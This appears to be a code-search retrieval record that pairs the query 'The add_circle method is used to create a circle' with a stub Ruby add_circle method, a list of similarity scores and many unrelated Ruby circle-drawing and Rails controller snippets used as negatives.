"0.5208158",
"0.51967835",
"0.5178453",
"0.51642996",
"0.5153711",
"0.5139074",
"0.5121763",
"0.5108588",
"0.5105889",
"0.48718014",
"0.48596734",
"0.4858266",
"0.47968844",
"0.4768477",
"0.4763477",
"0.47316018",
"0.46730256",
"0.4671376",
"0.46290883",
"0.46139935",
"0.460221",
"0.45691696",
"0.4549085",
"0.45488477",
"0.45485038",
"0.4529561",
"0.45108044",
"0.44975984",
"0.44697243",
"0.4465067",
"0.44106412",
"0.44051653",
"0.4384019",
"0.43761608",
"0.43516448",
"0.434304",
"0.43339753",
"0.43162215",
"0.4269536",
"0.42692408",
"0.42687652",
"0.4268537",
"0.4263324",
"0.42562836",
"0.42411044",
"0.42381746",
"0.42299706",
"0.4196468",
"0.41964623",
"0.41909283",
"0.41896412",
"0.4186591",
"0.4184922",
"0.41840065",
"0.4164714",
"0.41636145",
"0.41521603",
"0.41519496",
"0.41440907",
"0.41325566",
"0.41122907",
"0.4112009",
"0.4086788",
"0.40801516",
"0.4074332",
"0.40601152",
"0.40600488",
"0.4058898",
"0.4051016",
"0.4050846",
"0.40424165",
"0.40416515",
"0.40377012",
"0.40373355",
"0.40331066",
"0.40283635"
] | 0.67001635 | 3 |
The add_circle method is used to create a circle. | def add_circle(center, normal, radius, numsegs = 24)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add_circle(options)\n circle = OptionsHelper.to_circle(options)\n self.add_overlay circle\n\n circle\n end",
"def draw_circle_shape(circle)\n body = circle.body\n c = body.p + circle.center.rotate(body.rot)\n self.draw_circle(c.x,c.y,circle.radius,body.a)\n end",
"def circle(*args)\n Circle.new(self, *args)\n end",
"def add_arc(centerPoint: { x: 0.0, y: 0.0 }, radius: 1.0, \n startAngle: 0.0, endAngle: Math::PI * 0.25,\n isClockwise: false)\n pathElement = { elementtype: :patharc,\n centerpoint: centerPoint,\n radius: radius,\n startangle: startAngle,\n endangle: endAngle,\n clockwise: isClockwise }\n @pathArray.push(pathElement)\n @pathArray\n end",
"def draw_circle(pt, radius, color)\n # @draw.stroke('transparent')\n @draw.stroke(color)\n @draw.fill(color)\n @draw.ellipse(pt[0], pt[1], radius, radius, 0, 360)\n end",
"def add_nose\n circle cx: 50, cy: 65, r: 4, fill: 'black'\n end",
"def create\n @circle = Circle.new(circle_params)\n current_user.add_role(:owner, @circle)\n respond_to do |format|\n if @circle.save\n format.html { redirect_to @circle, notice: 'Circle was successfully created.' }\n format.json { render :show, status: :created, location: @circle }\n else\n format.html { render :new }\n format.json { render json: @circle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_circle(terrain, x0, y0, radius)\n x = radius\n y = 0\n decisionOver2 = 1 - x # Decision criterion divided by 2 evaluated at x=r, y=0\n\n while y <= x do\n set_cell x + x0, y + y0, terrain # Octant 1\n set_cell y + x0, x + y0, terrain # Octant 2\n set_cell -x + x0, y + y0, terrain # Octant 4\n set_cell -y + x0, x + y0, terrain # Octant 3\n set_cell -x + x0, -y + y0, terrain # Octant 5\n set_cell -y + x0, -x + y0, terrain # Octant 6\n set_cell x + x0, -y + y0, terrain # Octant 8\n set_cell y + x0, -x + y0, terrain # Octant 7\n y += 1\n end\n\n if decisionOver2 <= 0\n decisionOver2 += 2 * y + 1 # Change in decision criterion for y -> y+1\n else\n x -= 1\n decisionOver2 += 2 * (y - x) + 1; # Change for y -> y+1, x -> x-1\n end\n end",
"def drawCircle(x, y, radius)\n x1, y1 = calc_point(radius, Math::PI * 2 - 0.0001, x, y)\n # TODO: is there a better way of expressing this?\n x2, y2 = calc_point(radius, 0, x, y)\n drawArc(x1, y1, x2, y2, radius, true, SweepDirection.Counterclockwise)\n end",
"def draw_circle x, y, r, color\n 0.step(360, 10) { |a1|\n a2 = a1 + 10\n draw_line x + Gosu.offset_x(a1, r), y + Gosu.offset_y(a1, r), color, x + Gosu.offset_x(a2, r), y + Gosu.offset_y(a2, r), color, 0\n }\n end",
"def create\n @circle = Circle.new(params[:circle])\n @circle.user = current_user\n \n respond_to do |format|\n if @circle.save\n format.html { redirect_to @circle, :notice => 'Circle was successfully created.' }\n format.json { render :json => @circle, :status => :created, :location => @circle }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @circle.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def circle(id, x:0, y:0, r:0.5, **attrs)\n attrs.update(width:r*2, height:r*2)\n ellipse(id, x:x, y:y, **attrs)\n end",
"def draw_force_circle(context, center, radius)\n rectangle = CGRectMake(center.x - radius, center.y - radius, radius*2, radius*2)\n CGContextSetStrokeColorWithColor(context,UIColor.redColor.CGColor)\n CGContextSetLineWidth(context, 5)\n CGContextAddEllipseInRect(context, rectangle)\n CGContextStrokePath(context)\n end",
"def set_circle\n @circle = Circle.find(params[:id])\n end",
"def set_circle\n @circle = Circle.find(params[:id])\n end",
"def add_to_public_circle\n @circle = Circle.where(name: 'Public').try(:first)\n add_role(:member, @circle) if @circle\n end",
"def render_circle(cx, cy, d, color)\n @app.stroke color\n @app.nofill \n @app.oval cx, cy, d\n end",
"def circle(x, y, r, options={}, &block)\n cur_page.circle(x, y, r, options, &block)\n end",
"def makeArc\r\n @entities.add_arc @centre, @vector2, @normal, @toolRadius, 0, Math::PI, 6\r\n end",
"def circle(option={})\n set RGhost::Circle.new(options)\n end",
"def incircle\n # Circle.new(self.incenter, self.inradius)\n end",
"def nine_point_circle\n # Circle.new(*self.medial.vertices)\n end",
"def circle x, y, r, c, fill = false\n screen.draw_circle x, h-y, r, color[c], fill, :antialiased\n end",
"def circle(cx, cy, r, options = {})\n options = CIRCLE_OPTIONS.merge(options)\n\n \"<circle cx=\\\"#{cx}\\\" cy=\\\"#{cy}\\\" r=\\\"#{r}\\\"\n style=\\\"fill:#{options[:fill]};stroke:#{options[:stroke]};\n stroke-width:#{options[:stroke_width]};\n fill-opacity:#{options[:fill_opacity]};\n stroke-opacity:#{options[:stroke_opacity]};\n stroke-dasharray:#{options[:dasharray]}\\\"/>\"\n end",
"def set_circle\n @circle = Circle.find(params[:id])\n end",
"def drawCircle(x,y,r,fillp=false,color=\"black\")\n @device.drawCircle(x,y,r,fillp,color) ;\n end",
"def circle x, y, r, c, fill = false\n screen.draw_circle x, y, r, color[c], fill, :antialiased\n end",
"def bmp_circle(color = Color.new(255,255,255), r = (self.width/2), tx = (self.width/2), ty = (self.height/2), hollow = false)\n # basic circle formula\n # (x - tx)**2 + (y - ty)**2 = r**2\n for x in 0...self.width\n f = (r**2 - (x - tx)**2)\n next if f < 0\n y1 = -Math.sqrt(f).to_i + ty\n y2 = Math.sqrt(f).to_i + ty\n if hollow\n self.set_pixel(x, y1, color)\n self.set_pixel(x, y2, color)\n else\n self.fill_rect(x, y1, 1, y2 - y1, color)\n end\n end\n end",
"def initialize(radius)\n @radius = radius\n @@no_of_circles += 1\n @id = @@no_of_circles\n end",
"def do_draw(circle, points, canvas)\r\n draw = Magick::Draw.new\r\n\r\n draw.fill('light gray')\r\n draw.ellipse(scale(circle.center.x), \r\n scale(circle.center.y), \r\n circle.radius * @height/2, \r\n circle.radius * @height/2, \r\n 0, 360)\r\n\r\n draw.fill('red')\r\n draw.fill_opacity('65%')\r\n for pt in points\r\n draw.ellipse(scale(pt.x), \r\n scale(pt.y), \r\n @small_circle_radii, @small_circle_radii, 0, 360)\r\n end\r\n draw.draw(canvas)\r\n end",
"def create_circles(num)\n circle_image = circle_image()\n circles = []\n num.times do\n body = CP::Body.new(1, CP::moment_for_circle(1.0, 10,10, CP::Vec2.new(0, 0))) # mass, moment of inertia\n body.p = CP::Vec2.new(rand(SCREEN_WIDTH), rand(40) - 50)\n shape = CP::Shape::Circle.new(body, 10, CP::Vec2.new(0, 0))\n shape.e = 0.4\n shape.u = 0.4\n circles << AObject.new(circle_image, body)\n @space.add_body(body)\n @space.add_shape(shape) \n end\n return circles\n end",
"def create\n @user = User.find(current_user)\n @circle = current_user.circles.build(params[:circle])\n\n respond_to do |format|\n if @circle.save\n format.html { redirect_to @circle, notice: 'Circle was successfully created.' }\n format.json { render json: @circle, status: :created, location: @circle }\n format.js { \n @circles = @user.circles\n flash[:notice] = \"Successfully created post\" }\n else\n format.html { render action: \"new\" }\n format.json { render json: @circle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def points_on_circle(center, normal, radius, numseg)\r\n # Get the x and y axes\r\n axes = Geom::Vector3d.new(normal).axes\r\n center = Geom::Point3d.new(center)\r\n xaxis = axes[0]\r\n yaxis = axes[1]\r\n \r\n xaxis.length = radius\r\n yaxis.length = radius\r\n\r\n # compute the points\r\n da = (Math::PI * 2) / numseg\r\n pts = []\r\n for i in 0...numseg do\r\n angle = i * da\r\n cosa = Math.cos(angle)\r\n sina = Math.sin(angle)\r\n vec = Geom::Vector3d.linear_combination(cosa, xaxis, sina, yaxis)\r\n pts.push(center + vec)\r\n end\r\n \r\n # close the circle\r\n pts.push(pts[0].clone)\r\n\r\n pts\r\nend",
"def arcto(x1, y1, x2, y2, radius)\n CGContextAddArcToPoint(@ctx, x1, y1, x2, y2, radius)\n end",
"def call\n create_circle(display_name: \"Friends\",\n content: friends_content)\n\n create_circle(display_name: \"Family\",\n content: family_content)\n\n create_circle(display_name: \"Acquaintances\",\n content: acquaintances_content)\n\n create_circle(display_name: \"Following\",\n content: following_content)\n end",
"def create\n @circle = Circle.new(params[:circle].except(:city_name, :city_lat, :city_long))\n @circle.users << current_user\n\n city = City.where(name: params[:circle][:city_name]).first_or_initialize\n if not city.persisted? \n city.latitude = params[:circle][:city_lat]\n city.longitude = params[:circle][:city_long]\n city.save\n end\n\n @circle.user_id = current_user.id\n @circle.city = city #pun orasul la cerc\n @circle.people_count = 1 # adaug omu care o creat cercul in numaratoare\n\n respond_to do |format|\n if @circle.save\n @post_created_circle = false\n City.update_counters(city.id, circle_count: 1) # cresc numarul de cercuri la oras\n User.update_counters(current_user.id, circle_count: 1) # cresc numarul de cercuri la persoana\n format.html { redirect_to circle_path(@circle, post_created: \"true\") }\n format.json { render json: @circle, status: :created, location: @circle }\n else\n \n format.html { render action: \"new\" }\n format.json { render json: @circle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def draw_circle(mid_x, mid_y, radius, options = {})\n options[:border] ||= 1\n options[:border_color] ||= RFPDF::COLOR_PALETTE[:black]\n options[:border_width] ||= 0.5\n options[:fill] ||= 1\n options[:fill_color] ||= RFPDF::COLOR_PALETTE[:white]\n options[:fill_colorspace] ||= :rgb\n SetLineWidth(options[:border_width])\n set_draw_color_a(options[:border_color])\n set_fill_color_a(options[:fill_color], :options[:colorspace])\n fd = \"\"\n fd = \"D\" if options[:border] == 1\n fd += \"F\" if options[:fill] == 1\n Circle(mid_x, mid_y, radius, fd)\n end",
"def fill_circle(x:, y:, radius:, sectors: 30, color: nil, colour: nil)\n clr = color || colour\n clr = Color.new(clr) unless clr.is_a? Color\n ext_fill_ellipse([\n x, y, radius, radius, sectors,\n clr.r, clr.g, clr.b, clr.a\n ])\n update_texture if @update\n end",
"def test_circle_radius_after_creation_with_negative_radius\n radius = nil\n assert_nothing_raised do\n centerpoint = Geom::Point3d.new\n # Create a circle perpendicular to the normal or Z axis\n vector = Geom::Vector3d.new 0,0,1\n vector2 = vector.normalize!\n model = Sketchup.active_model\n entities = model.active_entities\n edgearray = entities.add_circle centerpoint, vector2, -10\n edge = edgearray[0]\n arccurve = edge.curve\n radius = arccurve.radius\n end\n assert_equal(10, radius,\n 'Failed in test_radius' )\n end",
"def getAsCircle\n @node\n end",
"def place_circle(location, size, noisy_index = nil)\n\t\tradius = @max_circle_radius * size\n\n\t\t# Correctly size circle\n\t\tradius = 0.5 if radius < 0.5\n\t\[email protected] \"#{ radius * 2 }x#{ radius * 2 }\"\n\n\t\tx = scaled_longitude(location[1], @map_width) - radius\n\t\ty = scaled_latitude(location[0], @map_height) - radius\n\n\t\tputs \"#{noisy_index}: #{x} x #{y}\" if noisy_index\n\t\t\n\t\t@working_map = @working_map.composite(@circle) do |c|\n\t\t\tc.compose \"Over\"\n\t\t\tc.geometry \"+#{x}+#{y}\"\n\t\tend\n\tend",
"def update_circle(circle)\n circle.update(part_of_bingo: true)\n end",
"def circle radius, foreground, background\n coords = [-radius, -radius, radius, radius]\n \"oval#{coords.join(\",\")},fc:#{foreground},oc:#{background}\"\nend",
"def perform\n @person.circles.create!(display_name: 'Friends',\n content: 'Your real friends, the ones you feel comfortable sharing private details with.')\n\n @person.circles.create!(display_name: 'Family',\n content: 'Your close and extended family, with as many or as few in-laws as you want.')\n\n @person.circles.create!(display_name: 'Acquaintances',\n content: \"A good place to stick people you've met but aren't particularly close to.\")\n\n @person.circles.create!(display_name: 'Following',\n content: \"People you don't know personally, but whose posts you find interesting.\")\n end",
"def create\n @circle = Circle.new(post_params)\n\n if @circle.save\n render :show, status: :created, location: @circle \n else\n render json: @circle.errors, status: :unprocessable_entity \n end\n end",
"def test_arc_radius_after_creation_with_negative_radius\n radius = nil\n assert_nothing_raised do\n # Create a 1/2 circle perpendicular to the normal or Z axis\n center = Geom::Point3d.new 0,0,-30\n normal = Geom::Vector3d.new 0,0,1\n xaxis = Geom::Vector3d.new 1,0,0\n start_a = -Math::PI/2\n end_a = 4.0 * Math::PI # Large enough to make a circle\n model = Sketchup.active_model\n entities = model.active_entities\n edgearray = entities.add_arc center, xaxis, normal, -5, start_a, end_a\n edge = edgearray[0]\n arccurve = edge.curve\n radius = arccurve.radius\n end\n assert_equal(5, radius,\n 'Failed in test_radius' )\n end",
"def add_point(position)\n MSPhysics::Newton::CurvySlider.add_point(@address, position)\n end",
"def add_point(position)\n MSPhysics::Newton::CurvySlider.add_point(@address, position)\n end",
"def sp_points_on_circle(center, normal, radius, numseg, rotAngle)\n # Get the x and y axes\n axes = Geom::Vector3d.new(normal).axes\n center = Geom::Point3d.new(center)\n xaxis = axes[0]\n yaxis = axes[1]\n xaxis.length = radius\n yaxis.length = radius\n rotAngle = 0.0 unless rotAngle.is_a?(Numeric)\n # Compute the points\n da = (Math::PI*2) / numseg\n pts = []\n for i in 0...numseg do\n angle = rotAngle + (i * da)\n cosa = Math.cos(angle)\n sina = Math.sin(angle)\n vec = Geom::Vector3d.linear_combination(cosa, xaxis, sina, yaxis)\n pts.push(center + vec)\n end\n # Close the circle\n pts.push(pts[0].clone)\n pts\n end",
"def draw_static_rotate_circle(context, center)\n radius = 200\n upper_angle = Math::PI + Math::PI/8\n lower_angle = Math::PI - Math::PI/8\n\n CGContextSetStrokeColorWithColor(context,UIColor.redColor.CGColor)\n CGContextAddArc(context, center.x, center.y, radius, lower_angle, upper_angle, 0)\n CGContextSetLineWidth(context, 10)\n CGContextStrokePath(context)\n\n draw_rotate_circle_arrow(context, center, radius, upper_angle, true)\n draw_rotate_circle_arrow(context, center, radius, lower_angle, false)\n\n end",
"def ann_point(x, y, size = 4)\n return if @ann_layer == nil || x.nil? || y.nil?\n @ann_layer.circle(size, x, y).styles(:fill => \"none\", :stroke => \"red\")\n @ann_layer.line(x-size*2, y, x+size*2, y).styles(:fill => \"none\", :stroke => \"red\")\n @ann_layer.line(x, y-size*2, x, y+size*2).styles(:fill => \"none\", :stroke => \"red\")\n end",
"def add_shape shape\n\t\tif shape.class == Rectangle or shape.class == Triangle or shape.class == Circle\n\t\t\[email protected] shape\n\t\telse\n\t\t\tputs \"Not a shape\"\n\t\tend\n\tend",
"def arc(x, y, radius, start_angle, end_angle)\n start_angle = radians(90-start_angle)\n end_angle = radians(90-end_angle)\n clockwise = 1 # 1 = clockwise, 0 = counterclockwise\n CGContextAddArc(@ctx, x, y, radius, start_angle, end_angle, clockwise)\n CGContextDrawPath(@ctx, KCGPathStroke)\n end",
"def add_member(member)\n Rails.logger.info(\"------------adding #{member} to circle\")\n if !self.circle.users.include?( member )\n member.memberships.create(:circle => self.circle)\n UserMailer.notify_added_to_circle(self,member).deliver\n #send email\n else\n Rails.logger.info(\"--------------already a member!\") \n end\n end",
"def circle_vs_circle(a, b)\n return unless a[CircleShape] && b[CircleShape]\n\n nx, ny = [b[Position].x + b[CircleShape].x - a[Position].x - a[CircleShape].x,\n b[Position].y + b[CircleShape].x - a[Position].y - a[CircleShape].y]\n\n r = a[CircleShape].r + b[CircleShape].r\n r2 = r * r\n\n return if nx * nx + ny * ny > r2\n\n d = Math.sqrt(nx * nx + ny * ny)\n\n if d != 0\n contact = Stomp::Math.vadd(Stomp::Math.to_v(a[Position]),\n Stomp::Math.vmul([nx, ny], a[CircleShape].r))\n [nx / d, ny / d, r - d, [contact]]\n else\n [1, 0, a[CircleShape].r, [Stomp::Math.to_v(a[Position])]]\n end\n end",
"def add_point\n end",
"def add point\n self.x += point.x\n self.y += point.y\n self\n end",
"def add_circle_plot_legend(closed_label, open_label, rotated, x_start, y_start, plot_below=false)\n\n circle_center_y = @box_size\n circle_center_x = @box_size\n font_size = standard_font_size\n\n # Place legend after or before end of the x_start\n if rotated\n x_start -= @box_size/1.1\n text_rotate = 90\n anchor = 'start'\n text_adjust = circle_center_x-@box_size * Math.sqrt(2)*0.125\n y_adjust = @box_size * Math.sqrt(2)*0.125+@box_size/2\n elsif plot_below\n if @font_size_multiple == 1.0\n x_start -= @box_size * 7\n else\n x_start -= @box_size * 10\n end\n y_start += @box_size * 9\n text_adjust = circle_center_x+@box_size * Math.sqrt(2)*0.125 + @box_size/4\n y_adjust = @box_size * Math.sqrt(2)*0.125\n text_rotate = 0\n anchor = 'start'\n else\n x_start += -@box_size\n text_rotate = 0\n anchor = 'start'\n text_adjust = circle_center_x+@box_size * Math.sqrt(2)*0.125 + @box_size/4\n y_adjust = @box_size * Math.sqrt(2)*0.125\n end\n\n # need circles followed by text\n @canvas.g.translate(x_start,y_start) do |check|\n check.styles(:fill=>'black', :stroke=>'black', :stroke_width=>1, :fill_opacity=>0.9)\n\n\t # need to draw a circle with point above or below line\n\t check.circle(@box_size * Math.sqrt(2)*0.125, circle_center_x, circle_center_y)\n\t end\n\n\t @canvas.g.translate(x_start, y_start).text(text_adjust, circle_center_y + y_adjust).rotate(text_rotate) do |text|\n\t text.tspan(closed_label).styles(:font_size=>font_size, :text_anchor=>anchor)\n\t end\n\n\t if rotated\n\t circle_center_x -= @box_size/1.5\n\t text_adjust = circle_center_x-@box_size * Math.sqrt(2)*0.125\n\t elsif plot_below\n\t if @font_size_multiple == 1.0\n \t circle_center_x += @box_size * 3\n \t else\n \t circle_center_x += @box_size * 4\n \t end\n\t text_adjust = circle_center_x+@box_size * Math.sqrt(2)*0.125 + @box_size/4\n\t else\n circle_center_y += @box_size\n\t end\n\n # need circles followed by text\n @canvas.g.translate(x_start,y_start) do |check|\n check.styles(:fill=>'none', :stroke=>'black', :stroke_width=>1, :fill_opacity=>0.0)\n\t # need to draw a circle with point above or below line\n\t check.circle(@box_size * Math.sqrt(2)*0.125, circle_center_x, circle_center_y)\n\t end\n\n\t @canvas.g.translate(x_start, y_start).text(text_adjust, circle_center_y + y_adjust).rotate(text_rotate) do |text|\n\t text.tspan(open_label).styles(:font_size=>font_size, :text_anchor=>anchor)\n\t end\n\n end",
"def add_arc_topoint_onpath(tangentPoint1: { x: 0.0, y: 0.0 },\n tangentPoint2: { x: 100.0, y: 100.0 },\n radius: 1.0)\n pathElement = { elementtype: :pathaddarctopoint,\n tangentpoint1: tangentPoint1,\n tangentpoint2: tangentPoint2,\n radius: radius }\n @pathArray.push(pathElement)\n @pathArray\n end",
"def drawarc(*)\n super\n end",
"def drawEllipse _obj, _args\n \"_obj drawEllipse _args;\" \n end",
"def create\n @jam_circle = JamCircle.new(jam_circle_params)\n @jam_circle.user_id = @user.id\n @jam_circle.users << @user\n if params[:users]\n user_ids = params[:users].keys\n user_ids.each do |id|\n @jam_circle.users << User.find(id)\n end\n end\n respond_to do |format|\n if @jam_circle.save\n format.html { redirect_to @jam_circle }\n format.json { render :show, status: :created, location: @jam_circle }\n else\n format.html { render :new }\n format.json { render json: @jam_circle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def circle_filled(x, y, r)\n\t\[email protected] x, y, r, @color_fg\n\tend",
"def fillCircle(x, y, r)\n fillArc(x-r, y-r, 2*r, 2*r, 0, 360*64)\n end",
"def circumcircle\n # Circle.new(self.circumcenter, self.circumradius)\n end",
"def get_circle(location, r)\n\t\t\tstartY = location.y - r\n\t\t\t\n\t\t\tstartX = 0\n\t\t\tendX = 0\n\t\t\tif startY % 2 == 0\n\t\t\t\tstartX = location.x - (r / 2.0).floor\n\t\t\t\tendX = location.x + r;\n\t\t\telse\n\t\t\t\tstartX = location.x - (r / 2.0).floor\n\t\t\t\tendX = location.x + r;\n\t\t\t\tif r % 2 == 0\n\t\t\t\t\tstartX+=1; endX+=1;\n\t\t\t\tend\n\t\t\tend\t\n\t\t\t\n\t\t\tendY = location.y + r;\n\t\t\tcircle_width = 2 * r + 1;\n\t\t\tdelta_y_odd = -1;\n\t\t\tdelta_y_even = -1;\n\t\t\toffset = 0;\n\t\t\tcircle = Array.new;\n\t\t\tfor y in Range.new(startY, endY)\n\t\t\t\tlength = circle_width - (y - location.y).abs;\n\t\t\t\t\n\t\t\t\tif (y % 2 == 0)\n\t\t\t\t\tif (delta_y_even == -1)\n\t\t\t\t\t\tdelta_y_even = (y - location.y).abs;\n\t\t\t\t\tend\n\t\t\t\t\toffset = ((y - location.y).abs - delta_y_even) / 2;\n\t\t\t\t\t\n\t\t\t\t\tif ((location.y - r) % 2 != 0)\n\t\t\t\t\t\toffset-=1;\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tif (delta_y_odd == -1)\n\t\t\t\t\t\tdelta_y_odd = (y - location.y).abs;\n\t\t\t\t\tend\n\t\t\t\t\toffset = (((y - location.y).abs - delta_y_odd) / 2.0).floor - 1;\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tstart = startX + offset;\n\t\t\t\t#trace(\"y = \" + y + \"location = \" + location.y + \" : \" + length);\n\t\t\t\t\n\t\t\t\ts = \"\";\n\t\t\t\tfor x in Range.new(start, start + length - 1)\n\t\t\t\t\ts += x.to_s + \" \";\n\t\t\t\t\t\t\tcircle.push(Location.new(x,y));\n\t\t\t\tend\n\t\t\t\t#trace(s);\n\t\t\tend\n\t\t\treturn circle;\n\t\tend",
"def point_inside_circle? circle_center_point, radius\n Geometry.point_inside_circle? self, circle_center_point, radius\n end",
"def add_person\n coord = get_empty_coords()\n x_coord = coord[0]\n y_coord = coord[1]\n\n new_person = Person.new(x_coord, y_coord, @x_size, @y_size)\n @all_persons.push(new_person)\n end",
"def draw_dot(center_x, center_y, radius, color, image)\n circle = Magick::Draw.new\n circle.stroke_linecap('round')\n circle.stroke_linejoin('round')\n circle.stroke('black')\n circle.fill(color)\n circle.ellipse(center_x, center_y, radius, radius, 0, 360)\n circle.draw(image)\nend",
"def circle(radius)\n pixels = []\n \n @width.times do |x|\n row = Array.new(@height, nil)\n \n @height.times do |y|\n pixel = 0\n @density.times do |i|\n xx = (x + i.to_f/@density) - @x_offset\n yy = f_halfcircle(xx, radius)\n yt = yy + @y_offset\n yb = -yy + @y_offset\n\n if (yt >= y && yt < y + 1) || (yb >= y && yb < y + 1)\n pixel = 1\n end\n end\n row[y] = pixel\n end\n pixels << row\n end\n \n PNM.create(pixels.transpose.reverse!, {:type => :pbm})\n end",
"def points_for_circle(x, y, r)\n cur_page.points_for_circle(x, y, r)\n end",
"def draw_circle(cx,cy,r,color, z)\n c_color = convert_color(color)\n \n x1, y1 = 0, -r\n circ = 2 * Math::PI * r\n step = 360 / circ\n step.step(45, step) { |a|\n x2, y2 = offset_x(a, r), offset_y(a, r)\n @screen.draw_line cx + x1, cy + y1, c_color, cx + x2, cy + y2, c_color, z\n @screen.draw_line cx - x1, cy + y1, c_color, cx - x2, cy + y2, c_color, z\n @screen.draw_line cx - x1, cy - y1, c_color, cx - x2, cy - y2, c_color, z\n @screen.draw_line cx + x1, cy - y1, c_color, cx + x2, cy - y2, c_color, z\n @screen.draw_line cx + y1, cy + x1, c_color, cx + y2, cy + x2, c_color, z\n @screen.draw_line cx - y1, cy + x1, c_color, cx - y2, cy + x2, c_color, z\n @screen.draw_line cx - y1, cy - x1, c_color, cx - y2, cy - x2, c_color, z\n @screen.draw_line cx + y1, cy - x1, c_color, cx + y2, cy - x2, c_color, z\n x1, y1 = x2, y2\n }\n @screen.draw_line cx + x1, cy + y1, c_color, cx - y1, cy - x1, c_color, z\n @screen.draw_line cx - x1, cy + y1, c_color, cx + y1, cy - x1, c_color, z\n @screen.draw_line cx - x1, cy - y1, c_color, cx + y1, cy + x1, c_color, z\n @screen.draw_line cx + x1, cy - y1, c_color, cx - y1, cy + x1, c_color, z\n end",
"def draw_rotate_circle(context, center, point)\n radius = 200\n\n #get Vector\n dpoint = point - center\n\n # Find angle\n radians = (Math::PI - (Math.atan2(dpoint.y,dpoint.x)*-1))\n\n clockwise = true\n\n # Round to sections\n radians = round_radians(radians)\n\n CGContextSetStrokeColorWithColor(context,UIColor.redColor.CGColor)\n if(radians > 0 and radians < Math::PI)\n CGContextAddArc(context, center.x, center.y, radius, Math::PI, radians+Math::PI, 0)\n else\n CGContextAddArc(context, center.x, center.y, radius, Math::PI, radians+Math::PI, 1)\n clockwise = false\n end\n CGContextSetLineWidth(context, 10)\n CGContextStrokePath(context)\n\n draw_rotate_circle_arrow(context, center, radius, radians-Math::PI, clockwise)\n end",
"def add_dimension_radial(arc_curve, leader_break_pt)\n end",
"def AddNode(type, xpos, ypos, numRadios = 0)\n\tname = NodeName(xpos, ypos)\n\tnode = Orbit::Topology::Node.new(@lastId, name, type)\n\tnode.SetPos(xpos,ypos)\n\t@lastId=@lastId+1\n\t#let OMF know we have created this node\n\tDefineGroup(node)\n\t@nodes_by_name[name]=node\n\treturn node\n end",
"def convert_to_circle(c)\n\n red_circle = '●'.colorize(:red)\n green_circle = '●'.colorize(:green)\n blue_circle = '●'.colorize(:blue)\n magenta_circle = '●'.colorize(:magenta)\n cyan_circle = '●'.colorize(:cyan)\n yellow_circle = '●'.colorize(:yellow)\n\n if c == 'Red'\n c = red_circle\n elsif c == 'Green'\n c = green_circle\n elsif c == 'Blue'\n c = blue_circle\n elsif c == 'Magenta'\n c = magenta_circle\n elsif c == 'Cyan'\n c = cyan_circle\n elsif c == 'Yellow'\n c = yellow_circle\n end\n @colors_as_circles.push(c)\n end",
"def circle(list, loc, frameCount, divisor=18, speed=3.0, frequency=30.0)\n if frameCount > @bullet_pause+frequency\n $sm.play_sound(\"circle\",0.1,1.0,false)\n x = loc[0]\n y = loc[1]\n angle = 0.0\n degree = 360.0/divisor\n for i in 1..divisor\n angle += degree\n list << Bullet.create(:x=>x, :y=>y, :speed=>speed, :angle=>Gosu.degrees_to_radians(angle),:list=>list)\n end\n @bullet_pause = frameCount\n end\n end",
"def make_circles\n command.speed = -2 # takes a value between -5 to 5\n command.heading = sensors.heading + 0.01\n end",
"def add_bubble\n srand\n self << BubbleObject.new(Position.new([randomFloatSigned*2,-1.0,randomFloatSigned]))\n end",
"def add_roundedrectangle(theRect, radius: 10.0)\n pathElement = { :elementtype => \"pathroundedrectangle\",\n :rect => theRect, :radius => radius.to_f }\n @pathArray.push(pathElement)\n @pathArray\n end",
"def test_radius_in_arcs\n radius = nil\n assert_nothing_raised do\n # Create a 1/2 circle perpendicular to the normal or Z axis\n center = Geom::Point3d.new 0,0,-30\n normal = Geom::Vector3d.new 0,0,1\n xaxis = Geom::Vector3d.new 1,0,0\n start_a = -Math::PI/2\n end_a = 4.0 * Math::PI # Large enough to make a circle\n model = Sketchup.active_model\n entities = model.active_entities\n edgearray = entities.add_arc center, xaxis, normal, 5, start_a, end_a\n edge = edgearray[0]\n arccurve = edge.curve\n radius = arccurve.radius\n end\n assert_equal(5, radius,\n 'Failed in test_radius' )\n end",
"def inside_circle?(point, radius)\n (self.distance_to(point) <= radius)\n end",
"def add_arc(*args)\n end",
"def drawEllipse(x,y,rx,ry,fillp=false,color=\"black\")\n @device.drawEllipse(x,y,rx,ry,fillp,color) ;\n end",
"def list_people_by_circle(params = {})\n return false unless check_required_params(params, ['circleId'])\n\n execute_with_api({\n :args => [\n @plus_api.people.list_by_circle,\n params\n ]\n })\n end",
"def draw_circle(cx,cy,r,color, z, step=CIRCLE_STEP)\n c_color = convert_color(color)\n \n x1, y1 = 0, -r\n circ = 2 * Math::PI * r\n step = 360 / circ\n step.step(45, step) { |a|\n x2, y2 = offset_x(a, r), offset_y(a, r)\n @screen.draw_line cx + x1, cy + y1, c_color, cx + x2, cy + y2, c_color, z\n @screen.draw_line cx - x1, cy + y1, c_color, cx - x2, cy + y2, c_color, z\n @screen.draw_line cx - x1, cy - y1, c_color, cx - x2, cy - y2, c_color, z\n @screen.draw_line cx + x1, cy - y1, c_color, cx + x2, cy - y2, c_color, z\n @screen.draw_line cx + y1, cy + x1, c_color, cx + y2, cy + x2, c_color, z\n @screen.draw_line cx - y1, cy + x1, c_color, cx - y2, cy + x2, c_color, z\n @screen.draw_line cx - y1, cy - x1, c_color, cx - y2, cy - x2, c_color, z\n @screen.draw_line cx + y1, cy - x1, c_color, cx + y2, cy - x2, c_color, z\n x1, y1 = x2, y2\n }\n @screen.draw_line cx + x1, cy + y1, c_color, cx - y1, cy - x1, c_color, z\n @screen.draw_line cx - x1, cy + y1, c_color, cx + y1, cy - x1, c_color, z\n @screen.draw_line cx - x1, cy - y1, c_color, cx + y1, cy + x1, c_color, z\n @screen.draw_line cx + x1, cy - y1, c_color, cx - y1, cy + x1, c_color, z\n end",
